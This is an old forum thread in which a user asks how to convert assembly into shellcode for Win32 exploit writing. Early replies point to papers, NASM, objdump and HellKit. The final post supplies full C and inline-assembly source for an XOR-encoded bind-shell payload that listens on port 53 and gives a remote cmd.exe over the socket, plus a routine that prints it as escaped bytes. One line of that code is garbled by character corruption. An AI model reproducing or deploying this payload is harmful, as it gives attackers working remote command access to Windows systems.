Shellcode
Results 1 to 9 of 9

Thread: Shellcode

  1. #1

    Shellcode

    Hi,

    I am wondering how I can (and how everyone else can) convert my ASM code into byte code, for I wish to try and understand the art of exploit writing a little better.

    Thanks.

  2. #2
    Senior Member
    Join Date
    Mar 2003
    Posts
    245
    Yikes!!! I think I know how bomb-squad people feel, that is a question with _NEG_ME_ written all over it, and
    I'm not sure if I should put on flame-retardant gear before answering. But, here we go...


    - Read Aleph One's Smashing The Stack For Fun And Profit
    - Visit Mixter's Site and read his papers on the subject
    - Check out http://www.shellcode.com.ar and read the stuff there.

    I hope that helps and that your interest is purely white-hat.

    -- spurious
    Get OpenSolaris http://www.opensolaris.org/

  3. #3
    Hi,

    Thanks for your response! I have read that paper - very good, but I am concentrating my efforts on the Win32 platform.
    I can write the ASM but am having problems getting into byte code format.
    Thanks for the links, I will have a butchers!

    Regards,
    Sarid

  4. #4
    Just Another Geek
    Join Date
    Jul 2002
    Location
    Rotterdam, Netherlands
    Posts
    3,401
    I think you're a bit confused. Bytecode is something a java compiler produces. It's basicly a set of instructions for a pseudo cpu (the java virtual machine). I think you are looking for something that converts your mnemonics into real assembly. So you probably need an assembler. Take alook at NASM
    Oliver's Law:
    Experience is something you don't get until just after you need it.

  5. #5
    Member
    Join Date
    Sep 2002
    Posts
    74
    moving on further when you see char shellcode [80] = "whatever" on an exploit its not the asm code. is it coded into hex or am i mistaken?

  6. #6
    Senior Member Maestr0's Avatar
    Join Date
    May 2003
    Posts
    604
    Assembly code is all hex. Assembly is nothing more than opcodes and operands. In order to make life easier on the ASM programmer opcodes usually have a 3 letter representation like POP,SUB,JMP etc but these are actually also just hex numbers replaced by the compiler at build time. What you want is to hex encode your assembly. There are many programs available to produce shellcode some are even considerate enough to build shellcode without any nulls or whitespace but the GNU program 'objdump' will work if you just want to hex encode some assembly. So when you see the shellcode[128]="insert your generic execv here" for all intents yes it is the assembly (hex encoded). Its nothing but a series of opcodes and operands that the computer will execute(hopefully) if you can force the program flow to your code.

    -Maestr0
    \"If computers are to become smart enough to design their own successors, initiating a process that will lead to God-like omniscience after a number of ever swifter passages from one generation of computers to the next, someone is going to have to write the software that gets the process going, and humans have given absolutely no evidence of being able to write such software.\" -Jaron Lanier

  7. #7
    Senior Member
    Join Date
    May 2003
    Posts
    472
    hopefully this will help...its called "HellKit"

    from securityfocus : "With hellkit you write your shellcodes in C, as shown in the 4 examples shipped with that package. You then run 'driver' over it and it's done! You get the output-file hellcode.c which contains the shellcode without null-bytes. Hellkit generates shellcodes with a lenght of up to 65535 (2^16 - 1) bytes."

    http://www.securityfocus.com/tools/1500/scoreit

    nJoy

    also try objdump
    guru@linux:~> who I grep -i blonde I talk; cd ~; wine; talk; touch; unzip; touch; strip; gasp; finger; mount; fsck; more; yes; gasp; umount; make clean; sleep;

  8. #8
    YEs you're right, opcodes not byte codes (hadn't had my morning coffee at the time of writing). You have all been a huge help!

  9. #9
    Junior Member
    Join Date
    Nov 2003
    Posts
    1
    I think you can print out your shellcode by writing a function.Such as the following example:
    just like the function "printsc".
    #include <winsock2.h>
    #include <windows.h>
    #include <stdio.h>

    #pragma comment(lib, "ws2_32")

    void printsc(unsigned char *sc, int len);

    unsigned char sc[0x1000];


    unsigned char buff[]=
    "GetProcAddress\x0"

    // ----- 3 -----
    "CreateProcessA\x0" // [edi-0x20]
    "ExitThread\x0" // [edi-0x1c]
    // "ExitProcess\x0" // [edi-0x1c]
    "LoadLibraryA\x0" // [edi-0x18]

    // -------------
    "ws2_32\x0"

    // ----- 5 -----
    "WSASocketA\x0" // [edi-0x14]
    "bind\x0" // [edi-0x10]
    "listen\x0" // [edi-0x0c]
    "accept\x0" // [edi-0x08]
    "closesocket\x0"; // [edi-0x04]

    DWORD addr;
    void shellcode();

    void main()
    {

    unsigned char temp;
    unsigned char *shellcodefnadd, *start;
    int k;
    char *fnendstr = "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    #define FNENDLONG 0x08
    WSADATA wsa;
    int all, i;
    //int port = 53;

    WSAStartup(MAKEWORD(2,2),&wsa);

    memset(sc, 0, sizeof(sc));

    // 定位shellcodefnlock的汇编代码
    shellcodefnadd = (unsigned char *)shellcode;
    temp = *shellcodefnadd;
    if(temp == 0xe9)
    {
    ++shellcodefnadd;
    k=*(int *)shellcodefnadd;
    shellcodefnadd+=k;
    shellcodefnadd+=4;
    }

    // 定位shellcode的起始地址
    for(k=0; k <= 0x500; ++k)
    {
    if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;
    }

    // shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址
    start = shellcodefnadd+k+8;

    // 定位 shellcode 长度
    for(k=0; k <= 0x500; ++k)
    {
    if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;
    }

    //printf("%x\n", htons(port));

    all = k + sizeof(buff) - 1;
    printf("%d + %d = %d\n", k, sizeof(buff), all);

    memcpy(sc, start, k);
    memcpy(&sc[k],buff, sizeof(buff));
    addr = (DWORD)≻

    for(k=0; k <= all-3; ++k)
    {
    if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %d\r\n", k);
    if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %d\r\n\n", k);
    }

    k = all - 23;
    memcpy(sc+8, &k, 2);

    // ================== print ======================
    // decode 长度为23字节
    printsc (sc, 23);


    // xor
    for(i=23; i < all; i++)
    {
    sc[i] ^= 0x99;
    }

    printsc(sc+23, k);

    __asm
    {
    jmp addr
    }

    // shellcode();

    Sleep(10000);
    return;
    }


    void printsc(unsigned char *sc, int len)
    {
    int l;

    // 打印 普通shellcode
    for(l = 0; l < len; l++)
    {
    if(l == 0) printf("\"");
    if((l%16 == 0) && (l != 0))printf("\"\n\"");

    printf("\\x%.2X", sc[l]);

    if(l == len-1) printf("\"");
    }

    printf("\n\n");

    /*
    // 打印 iis unicode shellcode
    for(l = 0; l < len; l += 2)
    {
    if(l == 0) printf("\"");
    if((l%16 == 0) && (l != 0))printf("\"\n\"");

    printf("%%u%.2X%.2X", sc[l+1], sc[l]);

    if(l == len-2) printf("\"");
    }
    */
    }

    void shellcode()
    {
    __asm
    {
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    }

    __asm
    {
    /* --------------------解码开始---------------------- */


    jmp decode_end

    decode_start:

    pop edx // 得到解码开始位置 esp -> edx
    dec edx
    xor ecx,ecx
    mov cx,0x17D // shellcode 长度 0x175+1 = 0x176 = 373 bytes

    decode_loop:

    xor byte ptr [edx+ecx], 0x99
    loop decode_loop
    jmp decode_ok

    decode_end:

    call decode_start


    decode_ok:

    /* --------------------解码结束---------------------- */

    jmp end

    start:
    pop edx // 指令表起始地址存放在 esp -> edx

    // ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
    //
    // 输入:
    // edx => 指令表起始地址 (不需要)
    //
    // 输出:
    // eax => kernel32.dll起始地址
    // edx => 指令表起始地址

    mov eax, fs:0x30 // PEB
    mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO
    mov esi, [eax + 0x1c] // InInitOrder.flink
    lodsd
    mov eax,[eax+8]

    // ========== 定位GetProcAddress的地址 ==========
    //
    // 输入:
    // eax => kernel32.dll起始地址
    // edx => 指令表起始地址
    //
    // 输出:
    // ebx => kernel32.dll起始地址
    // eax => GetProcAddress地址
    // edx => 指令表起始地址

    mov ebx,eax // 取kernel32.dll的起始地址
    mov esi,dword ptr [ebx+0x3C]
    mov esi,dword ptr [esi+ebx+0x78]
    add esi,ebx
    mov edi,dword ptr [esi+0x20]
    add edi,ebx
    mov ecx,dword ptr [esi+0x14]
    xor ebp,ebp
    push esi

    search_GetProcAddress:
    push edi
    push ecx
    mov edi,dword ptr [edi]
    add edi,ebx // 把输出函数名表起始地址存人edi
    mov esi,edx // 指令表起始地址存入esi
    //mov ecx,0Eh // 函数getprocAddress长度为0Eh
    push 0xE
    pop ecx
    repe cmps byte ptr [esi],byte ptr [edi]
    je search_GetProcAddress_ok

    pop ecx
    pop edi
    add edi,4
    inc ebp
    loop search_GetProcAddress

    search_GetProcAddress_ok:
    pop ecx
    pop edi
    pop esi
    mov ecx,ebp
    mov eax,dword ptr [esi+24h]
    add eax,ebx
    shl ecx,1
    add eax,ecx
    xor ecx,ecx
    mov cx,word ptr [eax]
    mov eax,dword ptr [esi+1Ch]
    add eax,ebx
    shl ecx,2
    add eax,ecx
    mov eax,dword ptr [eax]
    add eax,ebx

    // ============ 调用函数解决api地址 ============
    //
    // 输入:
    // ebx =>kernel32.dll起始地址
    // eax =>GetProcAddress地址
    // edx =>指令表起始地址
    //
    // 输出:
    // edi =>函数地址base addr
    // esi =>指令表当前位置
    // edx =>GetProcAddress 地址

    mov edi,edx
    mov esi,edi
    add esi,0xE // 0xE 跳过1个字符串"GetProcAddress"

    // ============ 解决kernel32.dll中的函数地址 ============
    mov edx,eax // 把GetProcAddress 地址存放在edx
    push 3 // 需要解决的函数地址的个数 硬编码可以节省两个字节
    pop ecx
    call locator_api_addr

    // ============ 加载ws2_32.dll ============
    //locator_ws2_32:

    add esi,0xd // 0xd即"ws2_32"前面那个字符串的长度,硬编码可以节省两个字节
    push edx // edx是GetProcAddress 地址
    push esi // 字符"ws2_32"地址
    call dword ptr [edi-4] // LoadLibraryA

    // ============ 解决ws2_32中的函数地址 ============
    pop edx
    mov ebx,eax // 将ws2_32.dll起始地址存放在ebx
    //mov ecx,4
    push 5 // 函数个数
    pop ecx // 函数个数 <-这种方式省两个字节
    call locator_api_addr

    // ============ create socket ============
    push eax
    push eax
    push eax
    push eax // IPPROTO_IP 0
    push 1 // SOCK_STREAM
    push 2 // AF_INET
    call dword ptr [edi-0x14] // WSASocketA

    mov ebx,eax // socket保存在ebx

    // ============ 填充sockaddr_in结构 ============
    mov dword ptr [edi],0x35000002 // 2= AF_INET 0x35 = 53
    xor eax, eax
    mov dword ptr [edi+4], eax // ADDR_ANY

    // ============ bind ============
    push 0x10 // sizeof(sockaddr_in)
    push edi // sockaddr_in address
    push ebx // socket
    call dword ptr [edi-0x10] // bind(socket, &address, sizof(address));

    // ============ listen ============
    push 0x1 // 1
    push ebx // socket
    call dword ptr [edi-0xc] // listen(socket, 1);

    // ============ accept ============
    push eax // 0
    push eax // 0
    push ebx // socket
    call dword ptr [edi-0x8] // accept(socket, &address, sizeof(address));

    mov edx,eax

    // ============ ============
    sub esp,0x44
    mov esi,esp // 取si的起始地址
    xor eax, eax
    push 0x10 // 0x11 * 4 = 0x44 bytes
    pop ecx

    zero_si:
    mov dword ptr [esi+ecx*4],eax
    loop zero_si


    // ============ fill si struct,si存放在stack中 ============
    mov dword ptr [esi+0x38],edx // si.hStdInput soskcet
    mov dword ptr [esi+0x3C],edx // hStdOutput soscket
    mov dword ptr [esi+0x40],edx // hStdError socket
    //mov word ptr [esi+0x30],0 // wShowWindow
    mov word ptr [esi+0x2c],0x101 // dwFlags

    // ============ CreateProcessA ============
    lea eax, dword ptr [edi+0x10]
    push eax // pi
    push esi // si
    xor ecx, ecx
    push ecx // lpCurrentDirectory
    push ecx // lpEnvironment
    push ecx // dwCreationFlags
    push 1 // bInheritHandles
    push ecx // lpThreadAttributes
    push ecx // lpProcessAttributes
    mov dword ptr [edi+0x3C], 0x00646D63// 0x63='c' 0x6d='m' 0x64='d'
    lea eax, dword ptr [edi+0x3C]
    push eax // lpCommandLine
    push ecx // lpApplicationName NULL
    call dword ptr [edi-0x20] // CreateProcessA



    // ============ If no error occurs, connect returns zero. ===========
    // closesocket
    push edx
    call dword ptr [edi-0x4]

    // closesocket
    push ebx
    call dword ptr [edi-0x4]

    // ExitProcess
    push eax
    call dword ptr [edi-0x1c] // ExitProcess

    // ============ 解决api地址的函数 ============
    //
    // 输入参数:
    // ecx 函数个数
    // edx GetProcAddress 地址
    // ebx 输出函数的dll起始地址
    // esi 函数名表起始地址
    // edi 保存函数地址的起始地址

    locator_api_addr:

    locator_space:
    xor eax, eax
    lodsb
    test eax, eax // 寻找函数名之间的空格x00
    jne locator_space

    push ecx
    push edx
    push esi // 函数名
    push ebx // 输出函数的dll起始地址
    call edx
    pop edx
    pop ecx
    stos dword ptr [edi]
    loop locator_space
    xor eax, eax
    ret


    // ================== 结束调用 ====================
    end:
    call start
    }

    __asm
    {
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    }

    return;
    }

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •